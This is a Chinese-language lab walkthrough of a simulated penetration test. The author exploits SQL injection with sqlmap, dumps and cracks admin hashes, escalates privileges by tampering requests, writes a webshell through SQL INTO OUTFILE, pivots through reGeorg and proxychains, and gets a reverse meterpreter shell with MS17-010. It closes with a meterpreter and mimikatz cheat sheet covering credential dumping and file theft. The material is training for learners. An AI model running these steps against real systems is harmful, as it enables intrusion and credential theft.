学习渗透测试三个多月了
总结了下经验进行了一次内网渗透
环境是模拟的
目标IP192.168.31.102 该web主机下 有两台虚拟机
渗透目标: 拿到虚拟机的shell
先信息收集、
目标绑定jy.test.com
访问192.168.31.196存在探针
Nmap端口扫描192.168.31.196
开放135、 3306 、 445 、 139、 80 端口
御剑扫描后台发现后台地址
并且存在info页面
一阶段:拿主站
访问目标网站
对主站进行测试的时候发现存在明显的SQL注入
payloadhttp://jy.test.com/person/cnresume_view.php?rid=1
用SQLmap跑一把
python sqlmap.py -u"http://jy.test.com/person/cnresume_view.php?rid=1" --dbs
最后抛出3个管理,两个普通1个超级管理
超管没解开hash
登陆用户:
dada
密码:mysql123
| a_id | a_user | a_pass |
+------+--------+---------------------------------------------+
| 1 | admin | fb0641386d3de664367b6a0b9f2ed5a2 |
| 2 | data | ed54ae97e472d89f0227cba22158731a (mysql123) |
| 3 | kefu | 17f3e52d5392ff8dc3c78b22db194f0d |
+------+--------+---------------------------------------------+
用data普通管理登陆后台之后随便搞了搞发现竟然可以执行sql语句,我得天。。
并且存在越权漏洞
first、先说一下这个越权漏洞
登陆data普通管理员账号
点击添加管理员提示无权限
用burp抓包修改参数,把管理改为超管
继续此操作添加了一个admin同级的超管
second、再说这个sql语句执行直接写入一句话木马
sql命令
select "" into outfile "C:/UPUPW_AP5.2/htdocs/szg.php"
连接1句话木马上传
上传大马执行arp -a
海岸该主机下还存在
192.168.238.129
192.168.238.130
三、
我们的C段实在192.168.31 与目标内网并不在同一个段内
所以需要打穿隧道具体方法下边这篇文章有介绍
https://www.cnblogs.com/xiaoyunxiaogang/p/10939485.html
在kaili的proxychains 和 reGeorgSocksProxy配合进行代理
vim /etc/proxychains.conf
去掉dynamic_chain前面的#号
去掉最后一行socks4那行,然后添加socks5 127.0.0.1 8080(我的占用了这里是用的1080)
shift+:wq保存并退出
之后想让哪个命令或者应用通过代理直接用命令proxychains+对应的命令或者应用,例如:
proxychains firefox
启动火狐浏览器
访问我们ping不通的 192.168.238.128代理成功
用nmap进行扫描192.168.238.129/130
目标开放445端口且是XP系统
我们
使用exploit模块来进行攻击测试
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/reverse_tcp //###set payload windows/meterpreter/reverse_tcp### //针对目标机器使用的系统版本,目标机器32位就使用32位(去掉*64)
run返弹了一个shell
系统是system权限没进行限制
添加一个用户
下面的就自己操作了
下面是一些MSF中的常用命令
基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个背景 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea*.bat c:\\xamp\\
enumdesktops #用户登录数
(1)下载文件
使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件
(2)上传文件
“upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。
(3)查看文件
“cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。
mimikatz模块:
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords